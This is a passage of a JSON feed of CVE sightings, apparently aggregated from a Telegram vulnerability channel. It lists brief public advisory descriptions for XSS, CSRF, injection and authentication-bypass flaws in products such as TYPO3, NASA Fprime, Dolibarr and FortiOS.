\"Detection Date\": \"14 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-14T04:09:54.000000Z"}, {"uuid": "62945db5-065f-4132-aaba-b7952f164938", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55060", "type": "seen", "source": "https://t.me/cvedetector/20257", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55060 - Rafed CMS XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55060 \nPublished : March 13, 2025, 9:15 p.m. | 58\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in the component index.php of Rafed CMS Website v1.44 allows attackers to execute arbitrary web scripts or HTML via a crafted payload. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-13T23:59:09.000000Z"}, {"uuid": "f653fbdf-558f-4838-a9ff-2d00a48147ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55030", "type": "seen", "source": "https://t.me/cvedetector/21133", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55030 - NASA Fprime Command Dispatcher Service Command Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55030 \nPublished : March 25, 2025, 9:15 p.m. | 1\u00a0hour, 5\u00a0minutes ago \nDescription : A command injection vulnerability in the Command Dispatcher Service of NASA Fprime v3.4.3 allows attackers to execute arbitrary commands. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T23:40:51.000000Z"}, {"uuid": "4329f4b6-33b6-41af-98f4-240dc62ff26d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55029", "type": "seen", "source": "https://t.me/cvedetector/21132", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55029 - NASA Fprime Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55029 \nPublished : March 25, 2025, 9:15 p.m. | 1\u00a0hour, 5\u00a0minutes ago \nDescription : NASA Fprime v3.4.3 was discovered to contain multiple cross-site scripting (XSS) vulnerabilities. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T23:40:47.000000Z"}, {"uuid": "82cc4c52-d706-48e5-87a3-53d76cdc2252", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55028", "type": "seen", "source": "https://t.me/cvedetector/21131", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55028 - NASA Fprime Template Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55028 \nPublished : March 25, 2025, 9:15 p.m. | 1\u00a0hour, 5\u00a0minutes ago \nDescription : A template injection vulnerability in the Dashboard of NASA Fprime v3.4.3 allows attackers to execute arbitrary code via uploading a crafted Vue file. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T23:40:46.000000Z"}, {"uuid": "aff14f95-9212-43c9-8477-bf89c5747382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55604", "type": "seen", "source": "https://t.me/cvedetector/21107", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55604 - Appsmith Information Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55604 \nPublished : March 25, 2025, 3:15 p.m. | 46\u00a0minutes ago \nDescription : Appsmith is a platform to build admin panels, internal tools, and dashboards. Users invited as \"App Viewer\" should not have access to development information of a workspace. Datasources are such a component in a workspace. Yet, in versions of Appsmith prior to 1.51, app viewers are able to get a list of datasources in a workspace they're a member of. This information disclosure does NOT expose sensitive data in the datasources, such as database passwords and API Keys. The attacker needs to have been invited to a workspace as a \"viewer\", by someone in that workspace with access to invite. The attacker then needs to be able to signup/login to that Appsmith instance. The issue is patched in version 1.51. No known workarounds are available. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"25 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-25T17:49:15.000000Z"}, {"uuid": "051aed3a-a2f9-4d0f-8a2b-ea37023903fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55279", "type": "seen", "source": "https://t.me/cvedetector/20983", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55279 - Uguu XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55279 \nPublished : March 24, 2025, 3:15 p.m. | 2\u00a0hours, 3\u00a0minutes ago \nDescription : Uguu through 1.8.9 allows Cross Site Scripting (XSS) via JavaScript in XML files. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-24T18:24:37.000000Z"}, {"uuid": "2d6a8d3c-4c70-44c1-961b-a8c3b2087648", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55228", "type": "seen", "source": "https://t.me/cvedetector/16504", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55228 - Dolibarr XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55228 \nPublished : Jan. 27, 2025, 5:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in the Product module of Dolibarr v21.0.0-beta allows attackers to execute arbitrary web scripts or HTMl via a crafted payload injected into the Title parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T20:11:39.000000Z"}, {"uuid": "37e0c156-afae-435a-aa57-2e9720ddc710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55227", "type": "seen", "source": "https://t.me/cvedetector/16503", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55227 - \"Dolibarr Events/Agenda XSS\"\", \n  \"Content\": \"CVE ID : CVE-2024-55227 \nPublished : Jan. 27, 2025, 5:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : A cross-site scripting (XSS) vulnerability in the Events/Agenda module of Dolibarr v21.0.0-beta allows attackers to execute arbitrary web scripts or HTMl via a crafted payload injected into the Title parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T20:11:39.000000Z"}, {"uuid": "43f49d99-2873-430b-b614-72233f6a4f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55009", "type": "seen", "source": "https://t.me/cvedetector/20685", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55009 - AutoBib XSS\", \n  \"Content\": \"CVE ID : CVE-2024-55009 \nPublished : March 19, 2025, 9:15 p.m. | 16\u00a0minutes ago \nDescription : A reflected cross-site scripting (XSS) vulnerability in AutoBib - Bibliographic collection management system 3.1.140 and earlier allows attackers to execute arbitrary Javascript in the context of a victim's browser via injecting a crafted payload into the WCE=topFrame&amp;WCU= parameter. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T23:00:40.000000Z"}, {"uuid": "dfc8db1d-e9eb-4f40-8038-868c109f4f56", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55551", "type": "seen", "source": "https://t.me/cvedetector/20639", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55551 - Exasol JDBC JNDI Injection Remote Code Execution\", \n  \"Content\": \"CVE ID : CVE-2024-55551 \nPublished : March 19, 2025, 2:15 p.m. | 1\u00a0hour, 3\u00a0minutes ago \nDescription : An issue was discovered in Exasol jdbc driver 24.2.0. Attackers can inject malicious parameters into the JDBC URL, triggering JNDI injection during the process when the JDBC Driver uses this URL to connect to the database. This can further lead to remote code execution vulnerability. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"19 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-19T16:18:56.000000Z"}, {"uuid": "195a474e-29f7-437e-a203-72757689f884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55931", "type": "seen", "source": "https://t.me/cvedetector/16464", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55931 - Xerox Workplace Suite Session Token Exposure\", \n  \"Content\": \"CVE ID : CVE-2024-55931 \nPublished : Jan. 27, 2025, 12:15 p.m. | 2\u00a0hours, 15\u00a0minutes ago \nDescription : Xerox Workplace Suite stores tokens in session storage, which may expose them to potential access if a user's session is compromised.\u00a0  \n  \nThe patch for this vulnerability will be included in a future release of Workplace Suite, and customers will be notified through an update to the security bulletin. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T15:59:56.000000Z"}, {"uuid": "7e10fd45-1dfb-4a92-a3b1-6b24a834d1f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55893", "type": "seen", "source": "https://t.me/cvedetector/15365", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55893 - \"TYPO3 Cross-Site Request Forgery (CSRF) Vulnerability in Backend User Interface\"\", \n  \"Content\": \"CVE ID : CVE-2024-55893 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cLog Module\u201d allows attackers to remove log entries. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this vulnerability. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:58.000000Z"}, {"uuid": "31a4580d-4cb8-42eb-9063-ac5e6ac9bafd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55894", "type": "seen", "source": "https://t.me/cvedetector/15363", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55894 - TYPO3 Cross-Site Request Forgery (CSRF) in Backend User Interface\", \n  \"Content\": \"CVE ID : CVE-2024-55894 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cBackend User Module\u201d allows attackers to initiate password resets for other backend users or to terminate their user sessions. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:55.000000Z"}, {"uuid": "6db4b752-46a0-416b-8628-6f489673cef4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55920", "type": "seen", "source": "https://t.me/cvedetector/15364", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55920 - \"TYPO3 Backend User Interface CSRF Exploit Through Malicious Links and Unsecured Configuration\"\", \n  \"Content\": \"CVE ID : CVE-2024-55920 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cDashboard Module\u201d allows attackers to manipulate the victim\u2019s dashboard configuration. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this vulnerability. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:57.000000Z"}, {"uuid": "9de214e3-2477-4599-8257-ef4154ca256a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55892", "type": "seen", "source": "https://t.me/cvedetector/15370", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55892 - TYPO3 URI Parser SSRF and Open Redirect Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55892 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. Applications that use `TYPO3\\CMS\\Core\\Http\\Uri` to parse externally provided URLs (e.g., via a query parameter) and validate the host of the parsed URL may be vulnerable to open redirect or SSRF attacks if the URL is used after passing the validation checks. Users are advised to update to TYPO3 versions 9.5.49 ELTS, 10.4.48 ELTS, 11.5.42 LTS, 12.4.25 LTS, 13.4.3 which fix the problem described. There are no known workarounds for this vulnerability. \nSeverity: 4.8 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:23:02.000000Z"}, {"uuid": "7364fd4f-d2bf-449c-ac12-8e6ff5ade006", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55891", "type": "seen", "source": "https://t.me/cvedetector/15369", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55891 - TYPO3 Install Tool Unprotected Password Log\", \n  \"Content\": \"CVE ID : CVE-2024-55891 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. It has been discovered that the install tool password has been logged as plaintext in case the password hashing mechanism used for the password was incorrect. Users are advised to update to TYPO3 versions 13.4.3 ELTS which fixes the problem described. There are no known workarounds for this vulnerability. \nSeverity: 3.1 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:23:01.000000Z"}, {"uuid": "265298ea-b53c-490d-9829-92abe378e812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55921", "type": "seen", "source": "https://t.me/cvedetector/15366", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55921 - \"TYPO3 Extension Manager Module CSRF Leading to Remote Code Execution\"\", \n  \"Content\": \"CVE ID : CVE-2024-55921 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cExtension Manager Module\u201d allows attackers to retrieve and install 3rd party extensions from the TYPO3 Extension Repository - which can lead to remote code execution in the worst case. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:59.000000Z"}, {"uuid": "0a7611f0-5f87-472f-87af-cdae03b139c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55945", "type": "seen", "source": "https://t.me/cvedetector/15360", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55945 - TYPO3 CSRF and HTTP Method Enforcement Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55945 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to `lax` or `none`. The vulnerability in the affected downstream component \u201cDB Check Module\u201d allows attackers to manipulate data through unauthorized actions. Users are advised to update to TYPO3 versions 11.5.42 ELTS which fixes the problem described. There are no known workarounds for this issue. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:52.000000Z"}, {"uuid": "102deb08-d399-4308-a818-c98e9f91cda7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55923", "type": "seen", "source": "https://t.me/cvedetector/15358", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55923 - TYPO3 Indexed Search Module CSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55923 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cIndexed Search Module\u201d allows attackers to delete items of the component. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this issue. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:50.000000Z"}, {"uuid": "0b58e616-e50c-4924-b49f-0e363fdaea83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55924", "type": "seen", "source": "https://t.me/cvedetector/15359", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55924 - \"TYPO3 Backend User Interface CSRF Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-55924 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none. The vulnerability in the affected downstream component \u201cScheduler Module\u201d allows attackers to trigger pre-defined command classes - which can lead to unauthorized import or export of data in the worst case. Users are advised to update to TYPO3 versions 11.5.42 ELTS which fixes the problem described. There are no known workarounds for this vulnerability. \nSeverity: 8.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:51.000000Z"}, {"uuid": "fad2561b-fa83-44c8-b10b-19dfda353a1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55922", "type": "seen", "source": "https://t.me/cvedetector/15357", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55922 - TYPO3 CSRF Vulnerability in Backend User Interface Deep Links\", \n  \"Content\": \"CVE ID : CVE-2024-55922 \nPublished : Jan. 14, 2025, 8:15 p.m. | 37\u00a0minutes ago \nDescription : TYPO3 is a free and open source Content Management Framework. A vulnerability has been identified in the backend user interface functionality involving deep links. Specifically, this functionality is susceptible to Cross-Site Request Forgery (CSRF). Additionally, state-changing actions in downstream components incorrectly accepted submissions via HTTP GET and did not enforce the appropriate HTTP method. Successful exploitation of this vulnerability requires the victim to have an active session on the backend user interface and to be deceived into interacting with a malicious URL targeting the backend, which can occur under the following conditions: The user opens a malicious link, such as one sent via email. The user visits a compromised or manipulated website while the following settings are misconfigured: 1. `security.backend.enforceReferrer` feature is disabled, 2. `BE/cookieSameSite` configuration is set to lax or none The vulnerability in the affected downstream component \u201cForm Framework Module\u201d allows attackers to manipulate or delete persisted form definitions. Users are advised to update to TYPO3 versions 11.5.42 ELTS, 12.4.25 LTS, 13.4.3 LTS which fix the problem described. There are no known workarounds for this vulnerability. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T22:22:49.000000Z"}, {"uuid": "795f6566-2c72-4c2d-9ac8-2b5daf7632f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55593", "type": "seen", "source": "https://t.me/cvedetector/15252", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55593 - Fortinet FortiWeb SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55593 \nPublished : Jan. 14, 2025, 2:15 p.m. | 21\u00a0minutes ago \nDescription : A improper neutralization of special elements used in an sql command ('sql injection') in Fortinet FortiWeb versions 6.3.17 through 7.6.1 allows attacker to gain information disclosure via crafted SQL queries \nSeverity: 2.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-14T15:39:33.000000Z"}, {"uuid": "83847e9c-16b0-48af-9b5d-c06efa89a81a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-55591", "type": "seen", "source": "https://t.me/cvedetector/15251", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-55591 - Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-55591 \nPublished : Jan. 14, 2025, 2:15 p.m. | 21\u00a0minutes ago \nDescription : An\u00a0Authentication Bypass Using an Alternate Path or Channel vulnerability [CWE-288] affecting FortiOS version 7.0.0 through 7.0.16 and FortiProxy version 7.0.0 through 7.0.19 and 